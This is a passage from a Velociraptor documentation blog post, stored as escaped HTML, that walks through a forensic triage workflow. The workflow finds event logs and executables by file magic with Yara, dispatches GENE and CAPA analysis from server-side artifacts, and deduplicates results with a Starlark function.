src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0Ks_idnCHMco1SmfD.gif&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;360&#34; height=&#34;200&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0Ks_idnCHMco1SmfD.gif&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;6&#34;&gt;&#xA;&lt;li&gt;The sixth goal is demonstrating how the Velociraptor &lt;code&gt;starl()&lt;/code&gt; function allows us to instantly add functionality to VQL. This amazing capability was contributed by Velociraptor community member &lt;a href=&#34;https://github.com/clayscode&#34; target=&#34;_blank&#34; &gt;Clay Norris&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;what-we-want-velociraptor-to-do&#34;&gt;What we want Velociraptor to do&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0emFBMgzFjONNrRTz.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1309&#34; height=&#34;505&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0emFBMgzFjONNrRTz.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Locate evtx and exe files on the client based on file magic &lt;a href=&#34;https://www.netspi.com/blog/technical/web-application-penetration-testing/magic-bytes-identifying-common-file-formats-at-a-glance/?print=print&#34; target=&#34;_blank&#34; &gt;(&amp;ldquo;magic bytes&amp;rdquo;)&lt;/a&gt; using Yara rather than using explicit file paths or file name&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artifact: Custom.Client.FindByMagics&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Have the Velociraptor server create a client-side flow to run &lt;a href=&#34;https://github.com/0xrawsec/gene&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;GENE&lt;/code&gt;&lt;/a&gt; analysis against each evtx file.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Have the Velociraptor server create a client-side flow to run &lt;a href=&#34;https://github.com/fireeye/capa&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;CAPA&lt;/code&gt;&lt;/a&gt; analysis against each executable (pe32) file.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;Custom.Server.DispatchTriage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;Custom.Client.TriageGene&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;Custom.Client.TriageCapa&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Have the server interpret the results and create more client-side flows to do something else in response to the triaging artifacts’ results. Perhaps upload these specific files back to the server to preserve evidence contained in them.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;Custom.Server.DispatchUpload&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;Custom.Client.TriageUpload&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Bonus points: Hijacking the VFS browser “upload” function to allow us to kick off the above workflow from the VFS browser. 🤠&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Artifact: &lt;code&gt;System.VFS.DownloadFile&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In a nutshell:&#xA;&lt;em&gt;&lt;strong&gt;We want to run a single artifact and then let Velociraptor decide what the next steps should be… and then iterate that process.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although this is a simplified and somewhat contrived example, it aims to demonstrate concepts rather than being a comprehensive real-world solution. It provides an example that can be expanded upon and repurposed quite easily.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-0-follow-along-on-your-own-velociraptor&#34;&gt;Step 0: Follow along on your own Velociraptor&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-tempsetupdemo&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Temp.Setup.Demo.yaml&#34; target=&#34;_blank&#34; &gt;Temp.Setup.Demo&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;You can try this all on your own Velociraptor. You don’t have to do this but you might like to see it in action on your own server. &lt;em&gt;It’s probably not best to do this on a production server&lt;/em&gt;, so if you don’t have a test server you can instantly set one up by running a local-mode Velociraptor (which is both the server and client) with the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    velociraptor-v0.6.1-windows-amd64.exe gui&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Please use the latest version: 0.6.1&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are a few simple steps to get the artifacts and tools set up on your server:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First step is to add the demo setup artifact — Temp.Setup.Demo - to your server&amp;rsquo;s artifact repository.&#xA;To do that run this VQL in a Velociraptor notebook:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT artifact_set(prefix=&amp;quot;Temp.&amp;quot;, definition=Content) AS LoadResponse FROM http_client(url=&amp;quot;https://raw.githubusercontent.com/predictiple/VelociraptorCompetition/main/artifacts/Temp.Setup.Demo.yaml&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result should looks something like this:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0mVKrLKiDNo2goSmo.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;928&#34; height=&#34;458&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0mVKrLKiDNo2goSmo.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Then run the demo artifact which will:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;install the other artifacts&lt;/li&gt;&#xA;&lt;li&gt;download the tools to your server’s inventory, and&lt;/li&gt;&#xA;&lt;li&gt;load the server monitoring artifacts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Run this VQL this in a Velociraptor notebook to run the artifact (be aware that this one may take a minute or two because it downloads the tool binaries to your server):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * from Artifact.Temp.Setup.Demo()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The result should looks something like this (and the red text does not mean anything went wrong — it’s just logging information… in red 🤷):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0WTDSXnbi3EEJwsFy.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;950&#34; height=&#34;656&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0WTDSXnbi3EEJwsFy.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After it completes you can check that all the tools are loaded into the inventory by running this VQL query in a notebook:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * FROM inventory() WHERE name =~ &#39;gene&#39; OR name =~ &#39;capa&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The tools in this repo are all the latest release versions from the author’s repositories. I have just unzipped and renamed them for convenience, but they can be downloaded from the original repos if you’re paranoid:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;GENE binaries: &lt;a href=&#34;https://github.com/0xrawsec/gene&#34; target=&#34;_blank&#34; &gt;https://github.com/0xrawsec/gene&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;GENE rules: &lt;a href=&#34;https://github.com/0xrawsec/gene-rules/blob/master/compiled.gen&#34; target=&#34;_blank&#34; &gt;https://github.com/0xrawsec/gene-rules/blob/master/compiled.gen&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;CAPA&lt;/code&gt; binaries: &lt;a href=&#34;https://github.com/fireeye/capa&#34; target=&#34;_blank&#34; &gt;https://github.com/fireeye/capa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;For testing purposes you can also download some evtx files from &lt;a href=&#34;https://github.com/sans-blue-team/DeepBlueCLI&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt; which contain events from simulated malicious activity.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Now we’re ready to go!&#xA;&lt;em&gt;Поехали!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-1-locate-interesting-files-based-on-file-magics-using-yara&#34;&gt;Step 1: Locate interesting files based on file magics (using Yara)&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-customclientfindbymagics&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Client.FindByMagics.yaml&#34; target=&#34;_blank&#34; &gt;Custom.Client.FindByMagics&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0T3ni2VWXKla2p4mN.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1380&#34; height=&#34;516&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0T3ni2VWXKla2p4mN.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Our first adventure is locating files of interest without explicitly telling Velociraptor their locations or file names.&lt;/p&gt;&#xA;&lt;p&gt;Sure we know that evtx files are supposed to all be in &lt;code&gt;C:\Windows\System32\winevt\logs&lt;/code&gt;, but imagine a scenario that a server admin may have diligently saved some evtx files to his desktop while troubleshooting some unrelated issue 2 weeks ago, long before anyone even suspected that the server was compromised. Upon investigating you find that the server’s logs retain only about 2 days worth of events, making those saved logs on the admin’s desktop &lt;em&gt;extremely valuable!&lt;/em&gt; Of course &lt;em&gt;you wouldn’t know&lt;/em&gt; that the admin fortuitously did that and &lt;em&gt;he may not know&lt;/em&gt; that there’s a security incident going on or that you even exist! So finding evidence in unexpected places can be pretty important. In this hypothetical scenario we could find these unexpected files using the fact that Windows evtx files have a known file magic: ElfFile. Such file magics (signatures) can easily be identified using Velociraptor&amp;rsquo;s built-in Yara plugin and we&amp;rsquo;ll use that fact in this demonstration.&lt;/p&gt;&#xA;&lt;p&gt;For other files where the file magic is insufficient to identify the exact type of data — for example text logs which are all text and don’t have any file magic (although there are indirect ways to solve that problem) — we can do a deeper dive into the file content using additional Yara scans as another layer in the identification process, and thus resolve ambiguous file types into specific data types. In this way we can resolve more than just basic file magics: we can extend the concept to a more precise level of resolution which we can call “data types”. For example, we can disambiguate text logs into the specific data types of “Apache access log” vs. “Apache error log” vs. “Windows Defender log” using deeper levels of inspection. And we can do this without needing to know their file paths or file names! Awesome!&lt;/p&gt;&#xA;&lt;p&gt;But for the purpose of keeping this demonstration as concise as possible we will only be dealing with evtx and exe files which are reliably and unambiguously identifiable using just file magics. Extending the identification to data types is an exercise left to the reader 😃 (and yes, this could also be done quite well with Velociraptor’s amazing &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/parsers/&#34;&gt;parse_binary&lt;/a&gt; function)&lt;/p&gt;&#xA;&lt;p&gt;In addition to freeing us up from the annoying dependency on path specifications, this approach also allows us to target files that have had their file extension changed or removed. As mentioned previously, having our targeting done independent of file paths and/or file names allows us to deal with the “offline data” use case more easily. And as a bonus it also makes things relatively platform-independent.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;More fancy filtering could be implemented but we’re trying to keep it simple. The goal of this artifact is to identify relevant files and report back with their path. Subsequent artifacts could apply additional targeting logic based on things like timestamps or file content for example. In this case we are going to do more in-depth analysis with &lt;a href=&#34;https://github.com/0xrawsec/gene&#34; target=&#34;_blank&#34; &gt;GENE&lt;/a&gt; and &lt;a href=&#34;https://github.com/fireeye/capa&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;CAPA&lt;/code&gt;&lt;/a&gt; and use these tools to identify a subset of files that are more significant than the rest.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0KpOIdK2H4TRVxqQY.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;465&#34; height=&#34;342&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0KpOIdK2H4TRVxqQY.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We have embedded the 2 Yara rules inside the artifact parameters, however if we needed to use a more extensive list of Yara rules then would be impractical to put them inside the artifact definition. In that situation there are several alternatives:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;store the rules in a separate file that could be added to the Velociraptor tool inventory and treated as a non-executable tool.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;host a rules file on a web server and retrieve it on the client using the &lt;code&gt;http_client()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;store the rules in a dedicated artifact and export it using the &lt;a href=&#34;https://github.com/Velocidex/velociraptor/pull/1087&#34; target=&#34;_blank&#34; &gt;export/imports&lt;/a&gt; feature. &lt;strong&gt;This approach apparently doesn’t work when the exports section is in an artifact which is being called from another artifact using the Artifacts plugin, so it would not work if we called Custom.Client.FindByMagics from System.VFS.DownloadFile via the VFS browser GUI. I should probably log an issue about that&amp;hellip;&lt;/strong&gt; &lt;em&gt;(note: this is fixed in &lt;a href=&#34;https://github.com/Velocidex/velociraptor/pull/1299&#34; target=&#34;_blank&#34; &gt;#1299&lt;/a&gt;, so it will be possible to do it this way starting from v0.6.2)&lt;/em&gt; Anyway for that reason we have just kept it simple and embedded the 2 rules as an artifact parameter.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;step-2-have-velociraptor-server-decide-what-the-client-should-do-next&#34;&gt;Step 2: Have Velociraptor server decide what the client should do next&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-customserverdispatchtriage&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Server.DispatchTriage.yaml&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Custom.Server.DispatchTriage&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0udXI_u4F2ICHqTpw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1459&#34; height=&#34;680&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0udXI_u4F2ICHqTpw.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The purpose of this artifact is to pair the files found by the FindByMagics artifact with the appropriate next step, i.e. the next artifact that needs to take action on the file. It’s essentially a patchboard between incoming file magic types and outgoing Velociraptor artifacts.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0CXp9HmOZ468aSyHI.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;740&#34; height=&#34;472&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0CXp9HmOZ468aSyHI.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This artifact runs as a server-side monitoring artifact and listens for flow completions of our FindByMagics artifact. It retrieves the monitored artifact&amp;rsquo;s results and pairs each result with a follow-up artifact. It then dispatches the follow-up artifact to the client using the &lt;code&gt;client_collect()&lt;/code&gt; VQL function. To avoid dispatching a new client flow for every input file it compiles the list of target files into a list (for each type and accessor) and then dispatches a single artifact and passes the list and accessor to the artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0XXPJV8BuU0Kz6_xT.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;711&#34; height=&#34;380&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0XXPJV8BuU0Kz6_xT.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In order to achieve deduplication of the list of targets we have used Velociraptor’s &lt;code&gt;starl()&lt;/code&gt; function which allows us to define a simple deduplicate function using Python code:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0HXqgoqyoIzZKbE4j.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;421&#34; height=&#34;262&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0HXqgoqyoIzZKbE4j.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/google/starlark-go&#34; target=&#34;_blank&#34; &gt;Starlark&lt;/a&gt; is a dialect of Python. We’ve used it here because Velociraptor doesn’t currently have a function to deduplicate a list of values. So we’ve just given VQL a new capability, and it’s very cool to be able to that “on the fly” through the &lt;code&gt;starl()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;p&gt;To make things configurable we have used artifact parameters for the list of monitored artifacts as well as for the item-level input-&amp;gt;output pairing (“Response Mapping”). So you can add or remove monitored artifacts very easily without changing the artifact’s code.&lt;/p&gt;&#xA;&lt;p&gt;You can also set up your own mappings of file magics -&amp;gt; response artifacts. One MagidID value can map to more than 1 dispatched artifact (one-to-many), so it is possible to have 2 or more types of analysis (via their own independent artifacts) run in response to a particular file type being identified. It’s also possible to have multiple MagicID values map to the same dispatched artifact (many-to-one), for example if the dispatched artifact performed some format-independent function such as uploading the target files to the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-3-send-new-orders-to-the-client&#34;&gt;Step 3: Send new orders to the client&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-customclienttriagegene&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Client.TriageGene.yaml&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Custom.Client.TriageGene&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;h3 id=&#34;artifact-customclienttriagecapa&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Client.TriageCapa.yaml&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Custom.Client.TriageCapa&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;These artifacts are probably not as good as they could be, but their main purpose is to illustrate that more in-depth analysis can be scheduled on a client based on the results of a previously run artifact. This process can be iterative and involve branching logic.&lt;/p&gt;&#xA;&lt;p&gt;The key things to notice about these artifacts are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;They are multi-platform. So they can be run on the 3 main operating systems without OS-specific targeting. They can also work on “offline” data, where files from 1 operating system are being processed on a different operating system.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The tool definitions (“tools” section of the artifact) are as simple as possible because we’ve already defined and initialised (incl. downloading) the tools during the setup process. The tool definitions here are just to ensure that these tools are available to this artifact.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We don’t mess around with fancy-pants unzipping of tools in our artifact. Several of the Velociraptor-bundled artifacts download zipped tools from GitHub and then unzip them on the client. This is done for user-convenience but it creates unnecessary complexity in the artifact, plus we really shouldn’t be using tools in zips that have been pulled straight from GitHub. It’s better to download the tools, unzip the tools, test/validate the tools, and then store them in your Velociraptor’s inventory. This approach also means that your endpoints don’t need access to GitHub because all the tools will be pulled from the Velociraptor server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We set the artifact parameters to “hidden” because we don’t intend these artifacts to be used standalone.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We give them a generous timeout because we could be targeting a large set of files that were previously collected and are now being analysed “offline”. Also &lt;code&gt;Capa&lt;/code&gt; is written in Python and slow as 